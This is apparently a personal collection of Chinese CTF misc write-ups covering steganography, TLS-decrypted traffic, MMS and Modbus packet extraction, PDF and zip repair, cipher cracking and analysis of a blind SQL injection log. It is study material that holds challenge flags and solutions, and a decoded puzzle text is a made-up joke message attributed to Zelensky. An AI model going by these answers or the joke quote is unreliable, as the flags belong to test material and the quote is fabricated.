有备注:5unVpeVXGvjFah

image-20250418131832620

base58解密出来是:Welcome2GZ

打开里面是十六进制,复制去010editor保存用file看一下是什么文件

image-20250418122243184

流量包,后缀改pcapng打开,追踪了http没有发现什么

看了题解是拿了txt文件去wbstego解密了

image-20250418132135278

得到一个log文件

image-20250418132306774

应该是密钥,去流量包

image-20250418132337256

有tls,去配一下密钥

image-20250418132516431

image-20250418132535604

image-20250418132602372

追踪流

image-20250418132828290

流33发现flag.gif,原始数据转存一下

得到的gif用identify得到了一些数据

image-20250418134216664

只有3和23,想到二进制,3转0,23转1得到的二进制转ascii

image-20250418134300771

结果这就是flag我还以为只是一部分又找了半天...


## [SWPUCTF 2021 新生赛]我flag呢?

打开txt里面一眼看过去全是fakeflag,开始的思路是把fake的全删了,脚本:

import re

def remove_fake_flags(text):
    # 正则表达式匹配不区分大小写的 fake...flag{...} 模式
    pattern = re.compile(r'fake.*?flag.*?\{.*?\}', re.IGNORECASE)
    # 替换所有匹配项为空字符串
    return pattern.sub('', text)

# 示例输入
input_text = """"""

# 处理文本并输出结果
output_text = remove_fake_flags(input_text)
print(output_text)

结果有两个,一个是true?一个是nss,但是俩个都不是正确的

最后看wp是全部转小写进行字频统计,脚本:

from collections import Counter
f = open('1.txt','r')
str=f.read()
str1=''
for i in range(len(str)):
    if str[i]=="{":
        str1+=str[i+1:i+17].lower()
cla=Counter(str1)
flag=cla.most_common()
print(flag)
for i in range(len(flag)):
    print((flag[i][0]),end='')
f.close() 

得到flag


## [强网杯 青少年赛道 2022]misc1

base64;有密钥的lsb

png文件,打不开,用010editor打开发现是一大串字符

拿去解码

image-20250423151556873

base64解码发现是png,保存打不开再放进010

image-20250423151644470

文件头被改了,恢复成89和50被调换位置了,4e和47也被换位置了,要个脚本来还原

def swap_hex_pairs(hex_string):
    # 移除所有空白字符(空格、换行等)
    clean_hex = hex_string.replace(" ", "").replace("\n", "")
    
    # 确保长度为偶数,如果不是则补一个字符(最后单独处理)
    if len(clean_hex) % 4 != 0:
        clean_hex += ' '  # 补一个空格,最后会去掉
    
    # 每4个字符(即2个字节)为一组进行交换
    swapped = []
    for i in range(0, len(clean_hex)-3, 4):
        # 交换相邻的两个字节组
        swapped.append(clean_hex[i+2:i+4])
        swapped.append(clean_hex[i:i+2])
    
    # 处理可能剩余的字符
    remaining = len(clean_hex) % 4
    if remaining == 2:
        swapped.append(clean_hex[-2:])
    elif remaining == 1 and clean_hex[-1] != ' ':
        swapped.append(clean_hex[-1])
    
    # 重新组合成字符串
    swapped_hex = ''.join(swapped)
    return swapped_hex

# 示例输入
input_hex = """十六进制字符"""

# 处理并输出结果
output_hex = swap_hex_pairs(input_hex)
print(output_hex)

保存为png打开

image-20250423152505947

题目有描述说你知道万能和弦吗?去搜一下是什么

image-20250425105322145

这一串应该就是密钥,有密钥的png图片隐写,试了几个,后面发现是lsb

image-20250425105401528


[SWPUCTF 2022 新生赛]Call the Alien

sstv;slienteye

wav文件,一听知道是慢电视,接收得到:

image-20250427142947851

还有一半在slientey

image-20250427144050321

注意两个地方


[GDOUCTF 2023]t3stify

音频左右声道对比差异;deepsound

学习思路,看题解写的

import scipy.io.wavfile as wav
import numpy as np 
import matplotlib.pyplot as plt

sample_rate, data = wav.read('flagg.wav')

left = data[:, 0::2]
right = data[:, 1::2]

diff = np.abs(left - right)

plt.plot(diff)
plt.show() 

这个脚本就是用来提取左右声道数据,然后计算它们之间的差异并绘图展示差异曲线

得到:

image-20250501233244076

点放大镜框选中间突起区域放大

image-20250501233330893

宽窄,想到摩斯密码

.- .-. -.-. .- . .- .---- ..-. .---- . ...-- ...--

image-20250501233407806

最开始的wav文件拿去deepsound

输入密码

image-20250501233531301

flag{Hikar1_g1v3_y0u_a_flag}

---[祥云杯 2022]super_electric

mms协议;exe文件格式;

流量包,先协议分级看看

image-20250509113514002

TPKT (RFC 1006) 将OSI协议(如COTP)封装在TCP上,解决TCP字节流与OSI消息边界不匹配的问题
COTP (ISO 8073/X.224) 面向连接的传输协议,类似TCP在OSI模型中的实现,提供连接管理
OSI Session (ISO 8327-1) 管理会话的建立、维护和释放(如confirmed-RequestPDU
OSI Presentation (ISO 8823) 数据格式转换(如ASN.1编码/解码)、加密/压缩
ACSE (ISO 8650-1) 应用关联控制服务,负责建立/释放应用层连接(如MMS通信前的握手)
MMS (ISO 9506) 制造业消息规范,核心工业协议,用于: • 读写设备数据(SetDataValueRequest) • 控制PLC/机器人(如FunEna1558Dw) • 事件通知(如IEC 61850 GOOSE)

可以发现tcp的mms占了大部分,选中看看

image-20250509120526355

会发现有很多SetDataValueRequest CT2201LD0 LLN0$CO$FunEna1$SBOw,这里去看题解显示的是confirmed-RequestPDU,是因为我的直接解析到了MMS层,题解是停留在OSI会话层,因为第一次接触这个所以还是按照题解的操作来

mms协议主要有initiate-RequestPDUconfirmed-RequestPDUinitiate-ResponsePDUconfirmed-ResponsePDU四种消息类型,其中confirmed-RequestPDU相对来说比较重要

所以我们过滤mms.confirmedServiceRequest

image-20250509121048749

除了第一个是LLN0$CO$FunEna1$SBOw,后面的不是LLN0$CO$FunEna2$Oper就是LLN0$CO$FunEna1$Oper

先过滤mms.itemId == "LLN0$CO$FunEna2$Oper"看看

image-20250509121252185

这里一直在传同一个东西:172.20.1.23,再去另外一个:mms.itemId == "LLN0$CO$FunEna1$Oper"

image-20250509121446463

这里可以发现exe文件的文件头,用tshark进行提取

tshark -r super_electric.pcapng -Y 'mms.itemId == "LLN0$CO$FunEna1$Oper"' -T fields -e mms.data.octet-string > data.txt

这里的mms.data.octet-string可能要根据不停版本进行相应更改,用

tshark -G fields | grep -i mms | grep octet

来找相对应的字段

提取出十六进制之后拿去010editor保存为exe文件会发现打不开,因为保存需要原始的二进制数据,比如0x4d

data = b""
with open('data.txt', 'r') as f:
    for line in f:
        data += bytes.fromhex(line.strip())
with open("test.exe", 'wb') as f:
    f.write(data)

打开test.exe文件

image-20250509141100969

需要ida逆向,后续的操作感觉需要有pwn或者逆向技术,先留着,以后能看懂了再回头来看

参考:2022 祥云杯 Misc super_electric WriteUp - IOTsec-Zone


[SEETF 2022]Stupid students

PDF文件格式详细了解

题目描述:Your students in your university decided to be smart asses and submitted a corrupted PDF to get a ‘time extension’ on their assignment. Little do they know, you used to do this trick back when you were in university.

Fix the PDF to get the flag and give these smart asses an F.

需要了解PDF文件格式:PDF 文件格式解析 - 天伤星・行者 - 博客园

读取一个PDF文件的过程:

  1. 从文件开头读取 header,确认它确实是一个PDF文档并检索其版本号;
  2. 接着通过从文件结尾向前搜索,找到文件结束标记。然后读取交叉引用表的字节偏移量和trailer字典;
  3. 接着通过读取交叉引用表,就可以知道文件中每个对象的位置;
  4. 到这一步,所有的对象都可以根据需要来读取和解析;
  5. 现在,可以提取页面,解析图形内容,提取元数据等等。

PDF文件放进010editor,去后面找文件结尾,关键字是trailer

image-20250510105732292

可以看到/Root引用了26 0 obj,这个对象是⽂档的根节点,去找到26 0 obj,也就是26号对象

image-20250510110011689

/Type /Catalog 表示这是 PDF 的 文档目录对象(Catalog Object),它是整个 PDF 的“入口”

/Pages 2 0 R 表示这个目录对象指向一个 页面树根对象(Pages Object),编号是 2 0 obj

所以下一步确实就是去找 2 0 obj,它会描述文档的页面树结构,也就是各个页面(/Page)的组织方式

image-20250510110049944

/MediaBox [0 0 960 540]:定义页面的默认大小为宽 960 点,高 540 点(单位是 PostScript 点,1 点 ≈ 1/72 英寸)。这会成为子页面默认的尺寸,除非它们自己覆盖

/Kids [ 1 0 R 12 0 R 22 0 R ]:表示它的子对象有 3 个,分别是:

  • 第一个页面对象:1 0 obj
  • 第二个页面对象:12 0 obj
  • 第三个页面对象:22 0 obj

下一步去查看:

  • 1 0 obj:第一页
  • 12 0 obj:第二页
  • 22 0 obj:第三页

PDF 规范规定:任何 /Pages 类型的对象都必须有 /Count,表示它下面一共有多少页

因为这里有3页,所以需要在26 0 obj加上/count 3

这里需要修复成:

image-20250510112525271

分别找到1 0 obj、12 0 obj、22 0 obj

页面对象必须包含的字段

字段 含义
/Type /Page 声明是页面对象
/Parent 指向它所属的页面树
/Contents 页面上要显示的内容流对象编号

这里原始的页面对象缺少了/Parent/Contents,需要加上去,因为这三个页面都是来自2 0 obj的,所以/Parents就是/Parents 2 0 R

/Contens是需要选择没有被其他地方引用的对象

大概长这样:

3 0 obj
<< /Length ... >>
stream
... 内容A ...
endstream
endobj

并且没有在其他地方被引用过,比如

image-20250510115610990

这个就被用了所以不行,只找到两个

image-20250510115856116

但是题解说13 0 obj也是,这里不知道为什么我这边没有,但是照着题解修复确实是可以

image-20250510112333745

image-20250510112406967

image-20250510112456702

打开pdf

image-20250510112545303


[闽盾杯 2021]日志分析

二分法布尔盲注

flag 为 password 字段值

打开日志查看发现是布尔盲注

image-20250510182633908

过滤出password的,这里可以发现是二分法的布尔盲注,返回675表示正确,678表示错误

比如先看一小段

image-20250510182750578

这里96对的,但是112错了,到后面的108正确,但是110不行,109可以,这里的判断是>,也就是说大于109的正确但是大于110的不行,所以第一个字符就是110(因为后面又从96开始了所以第一个字符到这里判断结束)

以此类推可以得到password的ascii为:

110 103 106 102 100 115 85 98 100 75

转换得到:ngjfdsUbdK


[巅峰极客 2021]签到

emojiSubstitute解码;AES加密

打开发现是一串emoji

image-20250510184108319

但是不是base100,看了题解需要特定的解密工具:Releases · Leon406/ToolsFx

image-20250510184139483

看到这个开头应该都能猜到是加盐加密了,密钥就是题目说的GAME,解密:

image-20250510184417372


## [巅峰极客 2022 决赛]开端:strangeTempreture

Modbus协议

协议分级

image-20250513113749249

选中Modbus之后tcp追踪流

image-20250513113825112

发现很多这种,试着拼接,重复的不要

得到:ZmxhZ3s5N2JmZWIwMy1mYTVjLWFhNmYtYWQxZS05YzVkMzhjNzQ0OWV9

解码

image-20250513113900060


[NSSRound#3 Team]funnypng

png文件位深度;二维码还原

png文件放随波逐流没发现什么,拿去stegslove在红色最低通道发现半个二维码

image-20250517171355994

后面就没有什么思路了,跟着题解的操作

查看属性发现位深度有48位

image-20250517172012628

PNG(Portable Network Graphics)文件的位深度(Bit Depth)是指存储每个像素颜色信息所用的位数,它决定了图像的颜色精度和文件大小。PNG 支持不同的位深度配置,具体取决于颜色类型(Color Type)。以下是详细说明:

1. PNG 位深度的常见取值

PNG 的位深度可以是以下值:

  • 1位(2色,黑白)
  • 2位(4色)
  • 4位(16色)
  • 8位(256色,最常见)
  • 16位(65536色,高精度)

2. 位深度与颜色类型的关系

PNG 的位深度和颜色类型共同决定图像的色彩表现:

颜色类型(Color Type) 支持的位深度 说明
灰度(Grayscale) 1, 2, 4, 8, 16位 单通道,表示黑白或灰度(16位用于医学/高精度图像)。
RGB(真彩色) 8, 16位 三通道(红、绿、蓝),8位每通道(24位总深度),16位每通道(48位总深度)。
索引色(Palette) 1, 2, 4, 8位 使用调色板(最多256色),位深度决定调色板大小。
灰度+Alpha(透明度) 8, 16位 灰度 + 透明度通道(8位或16位)。
RGB+Alpha(RGBA) 8, 16位 RGB + 透明度通道(32位或64位总深度)。

这个是48位,这说明其 RGB 分别占 16 bit,而一般的都只能看到其高 8 bit 的数据,但是 16bit 的范围应该是 0-65535 之间

16位 PNG 的结构

  • 每个像素的 R、G、B 通道各占 16位(范围 0-65535)。
  • 但大多数软件(如浏览器、Photoshop)默认只渲染高 8 位(d >> 8),丢弃低 8 位(d % 256)。
  • 隐藏数据可能存储在低 8 位中(例如:低 8 位拼合成新图像)。

提取后8bit:

import png

# 读取 16 位 PNG
img = png.Reader('funnypng.png')
w, h, imgdata, _ = img.read()

# 提取每个像素的低 8 位数据
low_bit_data = []
for row in imgdata:
    low_bit_row = []
    for i in range(0, len(row), 3):  # 假设是 RGB(无 Alpha)
        r_low = row[i] % 256        # R 通道低 8 位
        g_low = row[i+1] % 256      # G 通道低 8 位
        b_low = row[i+2] % 256      # B 通道低 8 位
        low_bit_row.extend([r_low, g_low, b_low])
    low_bit_data.append(low_bit_row)

# 保存为 8 位 PNG
with open('hidden_qrcode.png', 'wb') as f:
    writer = png.Writer(width=w, height=h, bitdepth=8, greyscale=False)
    writer.write(f, low_bit_data)

得到的图片再拿去stegsolve

image-20250517172813282

拼接起来会发现是被破坏的二维码,可以尝试去手动还原


[NSSRound#4 SWPU]Pixel_Signin

像素提取;ascii;rot13

一个像素图片,提取像素的RGB:

from PIL import Image
result = open('1.txt','w+')
img = Image.open("Pixel_Signin.png")
img = img.convert('RGB')
for i in range(31):
    for j in range(31):
        r,g,b = img.getpixel((j,i))
        print(r,g,b,end=' ',file=result)

得到:

image-20250517173826212

转一下ascii

image-20250517173835711

这里可以看到{}

image-20250517173934708

单独这一段去随波逐流

image-20250517174009650


[NSSRound#12 Basic]坏东西

嵌套压缩;十六进制文件格式

zip文件打开要密码,暴力破解得到:

image-20250517174229443

发现就是文件名,脚本解压缩:

import os
import zipfile
import shutil

# === 配置项 ===
INPUT_ZIP = "99020.zip"        # 起始压缩包文件路径
OUTPUT_DIR = "output"  # 输出目录(所有解压后的文件统一放在这里)

def extract_zip(zip_path, output_dir):
    """尝试使用 zip 文件名作为密码解压到指定目录"""
    filename = os.path.basename(zip_path)
    name_without_ext = os.path.splitext(filename)[0]
    password = name_without_ext.encode()

    try:
        with zipfile.ZipFile(zip_path) as zf:
            zf.extractall(output_dir, pwd=password)
        print(f"[+] 解压成功: {zip_path}")
        # 解压成功后删除原 zip
        os.remove(zip_path)
        return True
    except Exception as e:
        print(f"[-] 解压失败: {zip_path} | 错误: {e}")
        return False

def find_all_zip_files(directory):
    """查找目录下所有 zip 文件(递归)"""
    zip_files = []
    for root, _, files in os.walk(directory):
        for file in files:
            if file.lower().endswith(".zip"):
                zip_files.append(os.path.join(root, file))
    return zip_files

def flatten_output_directory(output_dir):
    """把所有子目录中的文件搬到输出目录根部"""
    for root, _, files in os.walk(output_dir):
        if root == output_dir:
            continue
        for file in files:
            src = os.path.join(root, file)
            dst = os.path.join(output_dir, file)
            # 如果同名文件已存在,重命名
            if os.path.exists(dst):
                base, ext = os.path.splitext(file)
                i = 1
                while os.path.exists(os.path.join(output_dir, f"{base}_{i}{ext}")):
                    i += 1
                dst = os.path.join(output_dir, f"{base}_{i}{ext}")
            shutil.move(src, dst)
    # 清理空子目录
    for root, dirs, _ in os.walk(output_dir, topdown=False):
        for d in dirs:
            path = os.path.join(root, d)
            if not os.listdir(path):
                os.rmdir(path)

def main():
    # 清理输出目录
    if os.path.exists(OUTPUT_DIR):
        shutil.rmtree(OUTPUT_DIR)
    os.makedirs(OUTPUT_DIR)

    # 拷贝初始 zip 包
    first_zip_path = os.path.join(OUTPUT_DIR, os.path.basename(INPUT_ZIP))
    shutil.copy2(INPUT_ZIP, first_zip_path)

    while True:
        zip_files = find_all_zip_files(OUTPUT_DIR)
        if not zip_files:
            break
        for zip_path in zip_files:
            extract_zip(zip_path, OUTPUT_DIR)
        flatten_output_directory(OUTPUT_DIR)

    print("\n[*] 解压完成,所有文件已放入:", OUTPUT_DIR)

if __name__ == "__main__":
    main()

得到pdf文件但是损坏了打不开,放010editor查看

image-20250517180931917

套了模板会发现藏在这里


[CISCN 2023 初赛]被加密的生产流量

Modbus协议

流量包协议分级

image-20250517181804029

选中Modbus,这个协议遇到好几次了,选中之后追踪流

image-20250517182535505

拼接起来解码

image-20250517182548758

NSSCTF包裹一下


[BJDCTF 2020]base??

自定义base64

自定义的base64:

image-20250523112309570

脚本转换:

import base64

# 自定义 Base64 映射表
custom_dict = {
    0: 'J', 1: 'K', 2: 'L', 3: 'M', 4: 'N', 5: 'O', 6: 'x', 7: 'y', 8: 'U', 9: 'V',
    10: 'z', 11: 'A', 12: 'B', 13: 'C', 14: 'D', 15: 'E', 16: 'F', 17: 'G', 18: 'H', 19: '7',
    20: '8', 21: '9', 22: 'P', 23: 'Q', 24: 'I', 25: 'a', 26: 'b', 27: 'c', 28: 'd', 29: 'e',
    30: 'f', 31: 'g', 32: 'h', 33: 'i', 34: 'j', 35: 'k', 36: 'l', 37: 'm', 38: 'W', 39: 'X',
    40: 'Y', 41: 'Z', 42: '0', 43: '1', 44: '2', 45: '3', 46: '4', 47: '5', 48: '6', 49: 'R',
    50: 'S', 51: 'T', 52: 'n', 53: 'o', 54: 'p', 55: 'q', 56: 'r', 57: 's', 58: 't', 59: 'u',
    60: 'v', 61: 'w', 62: '+', 63: '/', 64: '='
}

# 反向映射字典:char -> index
reverse_dict = {v: k for k, v in custom_dict.items()}

# 输入密文
ciphertext = "FlZNfnF6Qol6e9w17WwQQoGYBQCgIkGTa9w3IQKw"

# 将密文按自定义 Base64 映射转换回标准 Base64 字符
standard_base64 = ''.join(
    [base64.b64encode(bytes([reverse_dict[c]])).decode()[0] if c != '=' else '=' for c in ciphertext]
)

# 替换为标准 Base64 字符表(标准索引 0~63)
standard_base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

# 使用 reverse_dict 转回 index,再用标准 base64 字符表还原出字符串
reconstructed = ''.join(standard_base64_chars[reverse_dict[c]] if c != '=' else '=' for c in ciphertext)

# 添加填充后进行 base64 解码
padding = '=' * ((4 - len(reconstructed) % 4) % 4)
decoded = base64.b64decode(reconstructed + padding)

print("Decoded plaintext:")
print(decoded.decode(errors='replace'))

BJD{D0_Y0u_kNoW_Th1s_b4se_map}


[羊城杯 2022]签个到

ciphey新工具

密文:

ZMJTPM33TL4TRMYRZD3JXAGOZVMJRLWEZMFGFAEIZV2GVMOMZZ3JTZ3RUR2U2===

直接ciphey解密

ciphey -t 'ZMJTPM33TL4TRMYRZD3JXAGOZVMJRLWEZMFGFAEIZV2GVMOMZZ3JTZ3RUR2U2==='

image-20250523193655499


[羊城杯 2022]Unlimited Zip Works

无密码嵌套压缩包;压缩包注释;ZipInfo.extra;文件分离

嵌套压缩包没密码,脚本解压缩:

import os
import zipfile
import tarfile
import py7zr
from pathlib import Path


def extract_nested_archives(root_archive, output_dir="extracted_files"):
    """
    解压嵌套压缩包,并将所有文件提取到同一目录(不保留子目录结构)

    参数:
        root_archive: 要解压的初始压缩包路径
        output_dir: 解压文件输出目录
    """
    Path(output_dir).mkdir(parents=True, exist_ok=True)
    to_process = [root_archive]
    processed_files = set()

    while to_process:
        current_archive = to_process.pop(0)

        if current_archive in processed_files:
            continue

        print(f"正在处理: {current_archive}")

        try:
            if zipfile.is_zipfile(current_archive):
                with zipfile.ZipFile(current_archive, 'r') as zip_ref:
                    for file_info in zip_ref.infolist():
                        # 提取文件名(去掉路径)
                        filename = os.path.basename(file_info.filename)
                        if not filename:  # 跳过目录
                            continue
                        # 构造目标路径(直接放在 output_dir 下)
                        target_path = os.path.join(output_dir, filename)
                        # 避免文件名冲突(如果文件已存在,添加后缀)
                        counter = 1
                        while os.path.exists(target_path):
                            name, ext = os.path.splitext(filename)
                            target_path = os.path.join(output_dir, f"{name}_{counter}{ext}")
                            counter += 1
                        # 提取文件
                        with open(target_path, 'wb') as f:
                            f.write(zip_ref.read(file_info.filename))
                        # 检查是否是新的压缩包
                        if is_archive(target_path):
                            to_process.append(target_path)

            elif tarfile.is_tarfile(current_archive):
                with tarfile.open(current_archive, 'r:*') as tar_ref:
                    for member in tar_ref.getmembers():
                        if not member.isfile():  # 跳过目录
                            continue
                        # 提取文件名(去掉路径)
                        filename = os.path.basename(member.name)
                        # 构造目标路径
                        target_path = os.path.join(output_dir, filename)
                        # 避免文件名冲突
                        counter = 1
                        while os.path.exists(target_path):
                            name, ext = os.path.splitext(filename)
                            target_path = os.path.join(output_dir, f"{name}_{counter}{ext}")
                            counter += 1
                        # 提取文件
                        with open(target_path, 'wb') as f:
                            f.write(tar_ref.extractfile(member).read())
                        # 检查是否是新的压缩包
                        if is_archive(target_path):
                            to_process.append(target_path)

            elif current_archive.lower().endswith('.7z'):
                with py7zr.SevenZipFile(current_archive, 'r') as sevenz_ref:
                    for file_info in sevenz_ref.list():
                        if file_info.is_directory:  # 跳过目录
                            continue
                        # 提取文件名(去掉路径)
                        filename = os.path.basename(file_info.filename)
                        # 构造目标路径
                        target_path = os.path.join(output_dir, filename)
                        # 避免文件名冲突
                        counter = 1
                        while os.path.exists(target_path):
                            name, ext = os.path.splitext(filename)
                            target_path = os.path.join(output_dir, f"{name}_{counter}{ext}")
                            counter += 1
                        # 提取文件
                        with open(target_path, 'wb') as f:
                            f.write(sevenz_ref.read(file_info.filename)[file_info.filename])
                        # 检查是否是新的压缩包
                        if is_archive(target_path):
                            to_process.append(target_path)

            processed_files.add(current_archive)

        except Exception as e:
            print(f"处理 {current_archive} 时出错: {str(e)}")
            continue


def is_archive(file_path):
    """检查文件是否是支持的压缩包格式"""
    if not os.path.isfile(file_path):
        return False

    archive_extensions = ['.zip', '.tar', '.gz', '.bz2', '.xz', '.7z']
    if any(file_path.lower().endswith(ext) for ext in archive_extensions):
        return True

    try:
        if zipfile.is_zipfile(file_path):
            return True
        if tarfile.is_tarfile(file_path):
            return True
    except:
        pass

    return False


if __name__ == "__main__":
    initial_archive = "file.zip"  # 修改为你需要的压缩包名称

    if not os.path.exists(initial_archive):
        found = False
        for ext in ['.zip', '.tar', '.tar.gz', '.tar.bz2', '.tar.xz', '.7z']:
            if os.path.exists(initial_archive + ext):
                initial_archive += ext
                found = True
                break

        if not found:
            print(f"错误: 文件 '{initial_archive}' 不存在")
            exit(1)

    extract_nested_archives(initial_archive)
    print("解压完成!所有文件已保存到 'extracted_files' 目录")

flag.txt:

image-20250523194253311

观察压缩包名称,提取数字部分

image-20250523194316363

6816216739742237707733368693478905133658269563160562041922686727657867576507005191994296663222181339608999565566068942537117972143322083246610187848004702253878988693267473099766335776621153149692811247498842968458443758541528037112525459445310553500114068074310827181563772348364385583135368006433348102763733929083113468942508704736510157222227018426203444885791110428546721952737949517619786292133896217507710454939751882844008940577590023456788922383142366710788236543889422908351079397515514173576090441566029245877853354574723411707199488147739314125701315979908178533933486592945936336609566742058364163468342898898807690543410940113265705486046734398017384130419384094790130035691007255929746568077534612693536128601096115298418485166201442769969480137704216352972033450432801129708676505293696581914859867723406547083179314925790646286650993237445099915449940328907018320772346401910432709534718924912403978292035921678184624565151985171368910436131776836952022932511395076586738966619084552558441452387035887883306575416480157568080254419812763091068102181975213556324825426722095490016461054690436459710066371536458926090557132007925927306439868365552839346525188855306487055936770028

但是解不出来什么

这里去一个个压缩包看会发现有注释

image-20250523195940603

找的其他题解的脚本,提取每层压缩包的注释:

import zipfile
name = 'file'
infolist = []
num = 1
newzip=b''
while True:
    fz = zipfile.ZipFile(name + '.zip', 'r')
    for i in fz.namelist():
        if "zip" in i:
            filename = i[0:5]
            # print(filename)
    fz.extractall(pwd=bytes(filename, 'utf-8'))
    num += 1
    name = filename
    for j in fz.infolist():
        infolist.append(j.comment)
        if 'flag.txt' in str(j):
            print('[+] 解压完成')
            list2 = infolist[::-1]
            for k in list2:
                newzip += k
            with open('./newfile.zip','wb') as f:
                f.write(newzip)
                print("[+] 成功生成新压缩包newfile.zip")
            exit(0)

得到新的压缩包

image-20250524134453938

这里7z打开会发现特征全都是Minor_Extra_ERROR

  1. ZIP 文件存在一些非标准或额外字段(Extra Field)
  • ZIP 文件格式支持一些「额外信息字段」,比如时间戳、系统信息、兼容字段等。
  • 一些压缩工具(如 Python 的 zipfile 模块、Linux 的 zip 命令)可能以简单格式写入压缩包;
  • 而 WinRAR 或 7-Zip 读取时,如果发现这些字段格式或长度异常,就会提示 Minor Extra ERROR
  1. ZIP 中的条目有轻微错误或非标准结构
  • 比如某个文件名或注释字段格式不完整;
  • 或是压缩率字段有问题但能恢复;
  • 对于一些 CTF 题目或特意构造的压缩包,这是刻意设计的一部分。

脚本提取extract

from zipfile import ZipFile

data = []

with ZipFile('newfile.zip', 'r') as zf:
    for i in zf.infolist():
        data.append(i.extra)  # 提取每个文件条目的 "extra" 字段(额外信息)

with open('flag.zip', 'wb') as fz:
    for i in data:
        fz.write(i)  # 拼接写入新文件

ZipInfo.extra 是 ZIP 条目中可选字段(Extra Field),用于存储额外信息,比如:

  • 修改时间(NTFS / Unix timestamp)
  • Unicode 文件名
  • 文件权限
  • Zip64 扩展(支持 >4GB 文件)

得到压缩包,打开里面是一个jpg文件,放随波逐流没发现什么

回头看得到的压缩包发现最后有个藏着的压缩包

image-20250524135104408

提取保存打开

image-20250524135259965


[羊城杯 2022]躲猫猫

TLS解密;jpg文件格式;Maxicode码

流量包,协议分级查看

image-20250524140946942

有TLS,估计是要找密钥解密,选中http之后追踪流tcp

发现png文件:

image-20250524150129562

原始数据转存打开

image-20250524150151115

放随波逐流没发现什么

image-20250524141014119

流41发现压缩包,原始数据转存打开

image-20250524141033807

key.log:

image-20250524141050775

密钥,导入wireshark,再次协议分级

image-20250524141357003

过滤http追踪流http

image-20250524145822254

这里发现jpg的文件尾:FFD9,原始数据转存,找到文件头:FFD8FF之后删除多余的保存为jpg文件

ppp

那么压缩包密码应该就是这个:20079651941337428

脚本文件:

from PIL import Image
from numpy import array, zeros, uint8
import cv2
from secret import get_x_y
import os

image = cv2.imread("cat.png")
img_gray = cv2.cvtColor(image,cv2.COLOR_RGB2GRAY)
imagearray = array(img_gray)
h = len(imagearray)
w = len(imagearray[0])
x, y = get_x_y()
cmd = "echo '%s\n%s' > secret" % (x, y)
os.system(cmd)

x1 = round(x/y*0.001, 16)
u1 = y*3650/x
x2 = round(x/y*0.00101, 16)
u2 = y*3675/x
x3 = round(x/y*0.00102, 16)
u3 = y*3680/x
kt = [x1, x2, x3]

temp_image = zeros(shape=[h, w, 3], dtype=uint8)
print(len(temp_image))
print(len(temp_image[0]))
print(len(temp_image[0][1]))
for k in range(0, 1):
    for i in range(0, h):
        for j in range(0, w):
            x1 = u1 * x1 * (1 - x1)
            x2 = u2 * x2 * (1 - x2)
            x3 = u3 * x3 * (1 - x3)
            r1 = int(x1*255)
            r2 = int(x2*255)
            r3 = int(x3*255)
            for t in range(0, 3):
                temp_image[i][j][t] = (((r1+r2) ^ r3)+imagearray[i][j][t]) % 256
    x1 = kt[0]
    x2 = kt[1]
    x3 = kt[2]

encflagarray = Image.fromarray(temp_image)
encflagarray.show()
encflagarray.save("missing_cat.png")

解密脚本:

from PIL import Image
from numpy import array, zeros, uint8
import cv2

# 读取密钥 x, y
with open("secret", "r") as f:
    x = float(f.readline().strip())
    y = float(f.readline().strip())

# 加密参数(和加密时一样)
x1 = round(x / y * 0.001, 16)
u1 = y * 3650 / x
x2 = round(x / y * 0.00101, 16)
u2 = y * 3675 / x
x3 = round(x / y * 0.00102, 16)
u3 = y * 3680 / x
kt = [x1, x2, x3]

# 加载加密图像
enc_image = cv2.imread("cat.png")
h, w, _ = enc_image.shape

# 解密灰度图像初始化
decrypted_gray = zeros(shape=(h, w), dtype=uint8)

# 解密过程
for i in range(h):
    for j in range(w):
        x1 = u1 * x1 * (1 - x1)
        x2 = u2 * x2 * (1 - x2)
        x3 = u3 * x3 * (1 - x3)
        r1 = int(x1 * 255)
        r2 = int(x2 * 255)
        r3 = int(x3 * 255)

        mix_val = ((r1 + r2) ^ r3)
        enc_pixel_val = enc_image[i][j][0]  # 用 R 通道即可

        # 修正:强转为 int,防止 uint8 运算溢出
        orig_pixel = (int(enc_pixel_val) - mix_val) % 256
        decrypted_gray[i][j] = orig_pixel

# 保存还原后的灰度图
restored = Image.fromarray(decrypted_gray)
restored.save("restored_cat.png")
restored.show()

得到图片:

image-20250524150716363

一种码

image-20250524150859331

这里需要手动把中间的圈圈填上去

image-20250524151435292


[羊城杯 2022]where_is_secret

维吉尼亚暴力破解;脚本处理图像;字符提取

vig.txt文件:

Naseu bybkjkl, O wt mna Wkkopwkja hl Qrkgeux Fasxtorr. Zdl Kaozbgj hksu oty fblz hhntyoxj wu tzphvq ku Nqnhbta, hgj pox Qupo geyiuna ago ixkj jhtpyhrhlw hu aak Nblyehg gntr. Nahkj pvwgu pl QBJ Vxwgr Zdbkyzhr, O jlxj ovfkkux zk ikojn fk 29.94 bpgmay-layrbtc vkocpggh jaoyrxt wz kgpphto uhc. Soxt E yxvas mna Ynyoptt wyfe, E dbrh pgbeax ekb mu yvfk pv Nqnhbta ah ha aak rpvk lyxyekxtp.aak lhlysvkj ez ZCDA@K1tz0frjo

看文件名字可以猜测是维吉尼亚密码,但是我们不知道密钥,用网站在线爆破:My Geocaching Profile.com - Vigenere Cipher Codebreaker

可以一位一位猜密钥长度来破解,到4的时候发现语句通顺了

image-20250524152920367

密钥是:gwht

hello friends, i am the president of ukraine zelensky. the russian army has just launched an attack on ukraine, and the kyiv airport has been controlled by the russian army. heard today is kfc crazy thursday, i need someone to bring me 29.94 finger-sucking original chicken as rations now. when i repel the russian army, i will invite you to come to ukraine to be the vice president.the password is gwht@r1nd0yyds

得到压缩包密码:gwht@r1nd0yyds

这里的密码是GWHT@R1nd0yyds,看题解知道的

image-20250524153136673

题目提示:图像加密脚本见https://pastebin.com/2tfSY6fe

网站脚本:

from PIL import Image
import math
 
 
def encode(text):
    str_len = len(text)
    width = math.ceil(str_len ** 0.5)
    im = Image.new("RGB", (width, width), 0x0)
 
    x, y = 0, 0
    for i in text:
        index = ord(i)
        rgb = (0, (index & 0xFF00) >> 8, index & 0xFF)
        im.putpixel((x, y), rgb)
        if x == width - 1:
            x = 0
            y += 1
        else:
            x += 1
    return im
 
 
if __name__ == '__main__':
    with open("829962.txt", encoding="gbk") as f:
        all_text = f.read()
 
        im = encode(all_text)
        im.save("out.bmp")

解密:

from matplotlib import pyplot as plt
import numpy as np
import cv2
from collections import Counter

a = cv2.imread('out.bmp')
a = a.reshape(-1, 3).tolist()
a = [tuple(x) for x in a]
# print(Counter(a))

a = [chr((x[1] << 8) | x[0]) for x in a]
